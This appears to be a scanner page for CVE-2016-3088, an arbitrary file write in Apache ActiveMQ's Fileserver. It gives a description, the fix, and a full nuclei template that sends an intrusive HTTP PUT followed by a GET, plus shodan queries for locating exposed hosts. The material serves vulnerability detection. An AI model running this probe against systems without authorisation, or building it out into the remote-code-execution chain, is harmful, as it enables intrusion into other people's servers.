Apache ActiveMQ Fileserver - Arbitrary File Write

Exploited in the wild. Listed by CISA on 2022-02-10; known to be used by ransomware.

criticalseverity

9.8CVSS score

98.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request via the Fileserver web application.

Impact

An attacker can write arbitrary files on the server, potentially leading to remote code execution.

Fix

Upgrade to Apache ActiveMQ version 5.14.0 or later to fix the vulnerability.

How to confirm it

Send: PUT /fileserver/{{randstr}}.txt ; GET /fileserver/{{randstr}}.txt
Positive when: status_code_1==204 and status_code_2==200 and contains((body_2), '{{rand1}}')

Run it with nuclei: nuclei -id CVE-2016-3088 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-3088

info:
  name: Apache ActiveMQ Fileserver - Arbitrary File Write
  author: fq_hsu
  severity: critical
  description: Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request via the Fileserver web application.
  impact: |
    An attacker can write arbitrary files on the server, potentially leading to remote code execution.
  remediation: |
    Upgrade to Apache ActiveMQ version 5.14.0 or later to fix the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/40857
    - https://medium.com/@knownsec404team/analysis-of-apache-activemq-remote-code-execution-vulnerability-cve-2016-3088-575f80924f30
    - http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2016-3088
    - http://rhn.redhat.com/errata/RHSA-2016-2036.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-3088
    cwe-id: CWE-20
    epss-score: 0.98365
    epss-percentile: 0.99918
    cpe: cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: activemq
    shodan-query:
      - cpe:"cpe:2.3:a:apache:activemq"
      - product:"activemq openwire transport"
  tags: cve2016,cve,fileupload,kev,edb,apache,activemq,intrusive,vkev,vuln
variables:
  rand1: '{{rand_int(11111111, 99999999)}}'

http:
  - raw:
      - |
        PUT /fileserver/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

        {{rand1}}
      - |
        GET /fileserver/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_1==204"
          - "status_code_2==200"
          - "contains((body_2), '{{rand1}}')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from